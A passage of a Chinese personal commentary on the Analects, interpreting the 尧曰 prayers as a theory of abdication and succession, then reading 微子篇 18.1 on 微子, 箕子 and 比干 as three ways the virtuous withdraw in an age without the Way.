这时，舜不想传位给禹，却又不得不传，请看2段：“予小子履敢用玄牡，敢昭告于皇皇后帝”。联系来看，这两段都是“禅让告天之言”。我说尧主动，是因为尧告天的时候只谈舜、未谈自己。我说舜被动，则是因为舜只谈自己、未谈禹！ “予小子”、两个“敢”是自谦之词，但自谦得有点过了，无疑打地是“悲情牌”。 “履”则说明了舜的位置：站这儿时，舜还是最高领导，一旦走下去，他就不是了。有罪不敢赦，帝臣不蔽，简在帝心。 “发大水”是不是舜的过错？舜不承认，但人们 “责任追究”，把责任定在了舜的头上。这个责任舜没法推：再推就推到玉皇大帝的头上了。他还能说：“发大水不是我错，是玉帝错，我们把玉帝打倒，把他从位子上掀下去？” 但舜肯定要推：我这个人，从不在天帝面前瞒过什么，我真正犯了什么错，你上天应该知道！朕躬有罪，无以万方；万方有罪，罪在朕躬。舜再退一步，承认了自己的“领导责任”：我唯一犯的罪，就是没领导好老百姓；所以老百姓犯的罪，都应归罪到我的身上。自始至终，舜都是在洗脱自己，与“舜亦以命禹”毫无关系。《论语》说“舜亦以命禹”，舜命了没有？没有。从这儿我们可以看出，禅让不是舜说了算：不管舜怎么说，舜的祷告之时，就是舜的退位之日；祷告就是命禹。民心就是天心，民意重过君意。是否禅让，不是由领导说了算，这才是《论语》的三代之治。《论语》说君臣父子，我们再通过“父父子子”，阐述一下“禅让制”的意义。人总要死的，所以传承就变成一件很重要的工作。传承怎么传，无疑也是一个很棘手的问题。但任何朝代、任何家族、任何公司任何其他，传承环节都是一个最薄弱的环节，所以一定要重点说说。传承又分单传和多传，这儿，我们先说单传。薪尽火传，父母去世，子女要“三年不改父之道”，这里的不改，就是努力保持传承的稳定。这是“子子之道”。《论语》里的父父之道则是禅让：是父亲尽可能在“父亲有能力、子女也有能力”的时候，把家业传给子女…… 父禅让、子不改，两点完成一点，我们就能传承得很好。可惜的是：两者可失其一，却往往导致两者皆失。父望“子不改”、子望“父禅让”，这是内斗的根源，也是“薪尽而火不传”的原因所在。我不举例，因为这样的例子实在太多。怎么避免？首推禅让，因为禅让在前，如果“禅让三年后而父死”，“改不改”就没有意义…… 禅让其权在父，但如果仅靠父亲主动，那就未免太消极了。所以我们要设置一个定期的“祭”的制度，让作为父亲（最高领导）的人、定时定地，向天帝百姓报告工作。民心就是天心：如果子女们（百姓）觉得换人会更好，就可以在这时换别人上来…… 这，才是我们《论语》中的禅让制。本段（1-2），谈“大同社会”的“禅让体制”。

论语•微子篇第十八论语•微子篇第十八礼后有仁，规则之后便是信仰。里仁为美，在无道中，我们该怎样保持自己的信仰呢？【原文】 18•1 微子去之，箕子为之奴，比干谏而死。孔子曰：“殷有三仁焉。” 【译文】微子离开了纣王，箕子做了他的奴隶，比干因劝谏而被杀死。孔子说：“这是殷朝的三位仁人啊！” 我的理解（1）：前面说过：仁是一条路，路的终点是道。那么，我们的道又是什么？在先进十一的最后，我们说过：“所有的一切、都只是为了修身，为了让我们过上我们所追求的生活。” 我们的道是大道，是我们整体的道，不是某个人或某群人的道。这是我们与别人的区别。我们的道是现实道，是今生的道，不是来生道或天堂（仙佛）道。这是我们与别人的区别。有道则现，无道则隐。天下有道，有如《宪问》，我们的仁放出灿烂的光芒！天下无道，则如本段，我们的仁将以三种方式消亡：微子去之，仁者远离了无道；箕子为之奴，仁者为了求生将仁隐藏；比干谏而死，仁者为了仁而放弃生命…… 仁者之花，有离、有藏、有灭。而离、藏、灭恰恰是隐的三种方式！三种隐中，我们首选离、其次藏、其次灭…… 殷有仁、纣无道，“殷有三仁”只是曾经的有，其最终归结于无。再说一下“箕子为之奴”。与“患失”的“鄙夫”相似：箕子也放弃了自己的理想。所不同的是：鄙夫患“失其得”，箕子患“失其身”。为生命而放弃理想、无可厚非，因为生命一止、理想也就此消亡。但为所得而放弃理想，那就只能是鄙夫了。

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